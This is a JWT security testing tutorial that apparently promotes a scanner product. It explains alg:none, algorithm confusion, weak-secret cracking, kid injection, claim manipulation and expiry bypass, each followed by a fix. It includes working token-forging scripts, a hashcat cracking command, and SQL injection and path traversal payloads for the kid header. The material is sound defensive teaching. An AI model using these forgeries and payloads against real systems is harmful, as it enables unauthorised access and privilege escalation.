JWT Security Testing: Finding Common Authentication Vulnerabilities
JSON Web Tokens are everywhere. They power authentication in REST APIs, single-page applications, microservices, and mobile backends. They're also consistently misimplemented in ways that range from embarrassing to catastrophic — and unlike session cookies, the attack surface is visible to anyone who can intercept a request.
This guide covers the JWT vulnerabilities that actually show up in real applications, how to test for each one, what the exploits look like at the wire level, and where automated scanning helps versus where you need manual analysis.
JWT Structure: A Quick Baseline
A JWT is three base64url-encoded segments separated by dots: header.payload.signature. The header specifies the signing algorithm. The payload contains claims — structured assertions about the user or session. The signature is computed over the header and payload using a secret or private key.
# Decoded header
{
"alg": "HS256",
"typ": "JWT"
}
# Decoded payload
{
"sub": "1234567890",
"email": "user@example.com",
"role": "user",
"iat": 1718755200,
"exp": 1718758800
}
# Wire format (abbreviated)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiZW1haWwiOiJ1c2VyQGV4YW1wbGUuY29tIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MTg3NTUyMDAsImV4cCI6MTcxODc1ODgwMH0.<signature>
The critical design property: the server trusts whatever is in the payload only if the signature is valid. Every JWT vulnerability is, at root, a way to get the server to accept a token with a manipulated payload without a valid signature — or with a signature the attacker can forge themselves.
Attack 1: The alg:none Attack
The JWT spec includes "alg": "none" as a valid algorithm meaning "unsigned." Early JWT libraries honoured this unconditionally — if the token said it wasn't signed, they skipped signature verification. Some libraries still have this behavior, or it can be re-enabled through misconfiguration.
Testing it is straightforward: take a valid token, decode all three segments, modify the payload to escalate privileges, re-encode with "alg": "none" in the header, and drop the signature entirely (keep the trailing dot).
# Step 1: Modify the header
import base64, json
header = {"alg": "none", "typ": "JWT"}
payload = {
"sub": "1234567890",
"email": "user@example.com",
"role": "admin", # escalated
"iat": 1718755200,
"exp": 9999999999 # far future
}
def b64url_encode(data):
return base64.urlsafe_b64encode(
json.dumps(data, separators=(',', ':')).encode()
).rstrip(b'=').decode()
crafted = b64url_encode(header) + '.' + b64url_encode(payload) + '.'
# Note: empty signature — just the trailing dot
Send this token in the Authorization: Bearer header. If the application returns a 200 with admin-level data, the vulnerability is confirmed. Some libraries accept variants like "alg": "None", "alg": "NONE", or "alg": "nOnE" — test all four case permutations.
Fix: Explicitly specify the allowed algorithm(s) when initializing your JWT library. Never pass algorithms=None or leave the algorithm parameter unset. In Python's PyJWT: jwt.decode(token, secret, algorithms=["HS256"]).
Attack 2: Algorithm Confusion (RS256 → HS256)
This is one of the more subtle JWT attacks. RS256 uses asymmetric cryptography: the server signs with a private key and verifies with the corresponding public key. The public key is often embedded in a JWKS endpoint (/.well-known/jwks.json) or returned by the application's OpenID Connect discovery document.
The attack: change the token's algorithm from RS256 to HS256, then sign the modified token using the server's public key as the HMAC secret. A vulnerable server will verify an HS256 token by calling HMAC-SHA256(data, key) — but what does it use as the key? If the library falls back to whatever verification key is configured, and that key is the RS256 public key, the attacker (who has the public key) can forge valid tokens.
import jwt, requests
# Step 1: Fetch the server's public key
jwks = requests.get('https://target.example.com/.well-known/jwks.json').json()
public_key = extract_rsa_public_key(jwks['keys'][0]) # PEM format
# Step 2: Craft the payload with elevated privileges
payload = {
"sub": "attacker-user-id",
"role": "admin",
"iat": 1718755200,
"exp": 9999999999
}
# Step 3: Sign with HS256 using the RSA public key as the HMAC secret
crafted_token = jwt.encode(
payload,
public_key, # public key used as HMAC secret
algorithm="HS256"
)
# Step 4: Send and observe
resp = requests.get(
'https://target.example.com/api/admin/users',
headers={"Authorization": f"Bearer {crafted_token}"}
)
Fix: Explicitly whitelist the expected algorithm. Never allow the incoming token to dictate which algorithm the library uses for verification. Most modern libraries have a strict mode — use it.
Attack 3: Weak Secret Brute Force
HS256/HS384/HS512 tokens are signed with a symmetric secret. If that secret is weak — a dictionary word, a short random string, a framework default like secret, changeme, or your-256-bit-secret — an attacker can crack it offline from a single captured token. No server interaction required after the initial token capture.
hashcat has native JWT support (mode 16500) and can test millions of candidates per second on a GPU:
# Using hashcat against a captured HS256 token
hashcat -a 0 -m 16500 \
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c \
/usr/share/wordlists/rockyou.txt
# Also check framework defaults and common JWT secrets
hashcat -a 0 -m 16500 <token> /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt
jwt-cracker and c-jwt-cracker offer brute-force over a character space. For a secret shorter than 8 characters using lowercase ASCII, modern hardware can exhaust the space in minutes.
Once the secret is known, the attacker can forge arbitrary tokens for any user or role in the system — including users that don't yet exist.
Fix: Use a cryptographically random secret of at least 256 bits (32 bytes). For anything beyond internal service-to-service auth, prefer RS256 or ES256 so compromise of the verification key doesn't enable token forgery.
Attack 4: kid Header Injection
The JWT kid (key ID) header parameter lets a token specify which key the server should use to verify it — useful when rotating keys or running multiple services. The vulnerability arises when the server uses the kid value directly in a SQL query, filesystem path lookup, or Redis key without sanitization.
SQL injection via kid:
# Server-side pseudocode (vulnerable)
key = db.query(f"SELECT secret FROM jwt_keys WHERE id = '{kid}'")
jwt.verify(token, key)
# Attacker-controlled header
{
"alg": "HS256",
"kid": "' UNION SELECT 'attacker-controlled-secret' -- "
}
# The query becomes:
# SELECT secret FROM jwt_keys WHERE id = '' UNION SELECT 'attacker-controlled-secret' --
# Returns: 'attacker-controlled-secret'
# Attacker then signs with that same string and gets a valid token
Directory traversal via kid:
# Vulnerable server reads key from filesystem
key = open(f"/app/keys/{kid}.pem").read()
# Attacker sets kid to a file with known contents
{
"alg": "HS256",
"kid": "../../dev/null"
}
# Server reads /dev/null → empty string → HMAC with empty key
# Attacker signs token with empty string as HMAC secret
The /dev/null trick produces an empty key, which the attacker knows. They can then sign a token using an empty string as the HS256 secret and the server will accept it.
Fix: Validate kid against a strict allowlist. Never interpolate it directly into queries or paths. Use parameterized queries and restrict kid to alphanumeric characters and hyphens.
Attack 5: JWT Claim Manipulation
Even when signature verification is implemented correctly, applications sometimes embed authorization data directly in JWT claims and trust them without server-side validation. Common patterns to test:
- Role escalation: Change
"role": "user"to"role": "admin"— if the signature check is broken in any of the ways above, this directly escalates privileges. - User ID substitution: Change
"sub": "user-123"to another user's ID. If the server uses the JWT sub claim as the sole authorization check for IDOR, this is full account takeover. - Scope expansion: Change
"scope": "read"to"scope": "read write delete"in OAuth-style tokens. - Tenant confusion: Change
"tenant_id": "org-A"to"tenant_id": "org-B"in multi-tenant SaaS applications.
Claim manipulation is only exploitable when another vulnerability (alg:none, algorithm confusion, known secret) allows forging the signature. But it's worth mapping out all the claims present in tokens early in testing — they tell you exactly what authorization model the application relies on.
# Decode any JWT without verification to inspect claims
import jwt
token = "eyJhbGci..."
claims = jwt.decode(token, options={"verify_signature": False})
print(claims)
# {'sub': '42', 'role': 'user', 'tenant_id': 'acme-corp', 'exp': 1718758800}
Attack 6: Expiry Bypass
JWT libraries require explicit opt-in to expiry validation in some frameworks. If a developer calls jwt.decode(token, secret, options={"verify_exp": False}) — perhaps during debugging — and that setting reaches production, tokens never expire.
Testing is straightforward: capture a token, wait for it to expire (or manually set the exp claim to a past timestamp), and replay it. If the server accepts it, expiry validation is broken.
# Craft a token with exp in the past
import time
payload = {
"sub": "user-42",
"role": "user",
"iat": int(time.time()) - 7200,
"exp": int(time.time()) - 3600 # expired 1 hour ago
}
expired_token = jwt.encode(payload, known_secret, algorithm="HS256")
Also test for missing nbf (not before) validation. A token issued for a future time should be rejected until that time arrives — applications that ignore nbf may accept pre-issued tokens used in replay attacks.
Additionally, test whether your application has a token revocation mechanism. Even perfectly implemented JWT validation cannot revoke individual tokens before their expiry — a stolen token with a 24-hour TTL remains valid for 24 hours regardless of logout. If your threat model requires immediate revocation, you need a server-side revocation list.
Fix: Always validate exp and nbf. Use short token lifetimes (15–60 minutes). Implement refresh token rotation. Maintain a revocation list for high-security contexts.
JWT Vulnerabilities: What Automated Scanning Finds (and Doesn't)
This is where it's worth being precise. Automated scanning can reliably find several of these vulnerabilities:
| Vulnerability | Automated Detection | Notes |
|---|---|---|
alg:none acceptance |
Yes | Deterministic test — forge token, observe response |
| Algorithm confusion (RS256→HS256) | Partial | Requires fetching public key and attempting the attack |
| Weak secret | Partial | Offline crack attempt against common wordlists |
kid SQL injection |
Yes | Standard SQLi payloads applied to JWT header parameter |
kid path traversal |
Yes | Traversal payloads + known-content file targets |
| Expiry not validated | Yes | Replay with expired token, check response code |
| Claim-based privilege escalation | Partial | Requires successful token forgery first; business-logic context limits automation |
| Missing revocation | No | Architecture-level design decision — requires manual review |
The attacks that automated tooling handles well are the ones with deterministic outcomes: send a crafted token, check the HTTP response code and body structure. The attacks that require judgment — whether a particular claim's value represents a meaningful privilege boundary, whether the application's revocation design is adequate for the threat model — need a human.
Where Ironimo fits: automated JWT testing handles the deterministic checks at scale, on a schedule, against every endpoint that accepts tokens. It surfaces the critical misconfigurations reliably and quickly. What it hands off to you is the architectural review: is the token lifetime appropriate? Is revocation implemented where the threat model demands it? Are there business-logic roles in the claims that the scanner didn't know to test?
Practical Testing Checklist
- Intercept a valid token and decode all three segments — inspect every claim present.
- Test
alg:nonewith all four case variants; drop the signature, keep the trailing dot. - Attempt algorithm confusion if a JWKS or public key endpoint is exposed.
- Run the captured token through hashcat with rockyou and a JWT-specific wordlist.
- Inject SQLi payloads into the
kidheader if present (' OR '1'='1, UNION selects). - Inject path traversal into
kid(../../dev/null,../../etc/passwd). - Replay an expired token; also craft one with
expset to a past timestamp. - If any forgery attack succeeds, test role escalation, sub substitution, and tenant claims.
- Verify logout actually invalidates the token, not just the client-side session.
Tools to have in your kit: jwt_tool (Python, covers most of the above in one interface), Burp Suite's JWT Editor extension, hashcat mode 16500, and python-jwt for scripting custom payloads.
Ironimo scans for JWT vulnerabilities across your application — algorithm confusion attacks, weak secrets, and improper claim validation — using the same Kali Linux toolset professional pentesters use.
On-demand and scheduled scans. Each finding includes the exact request, the response that confirms it, and a remediation path.
Start free scan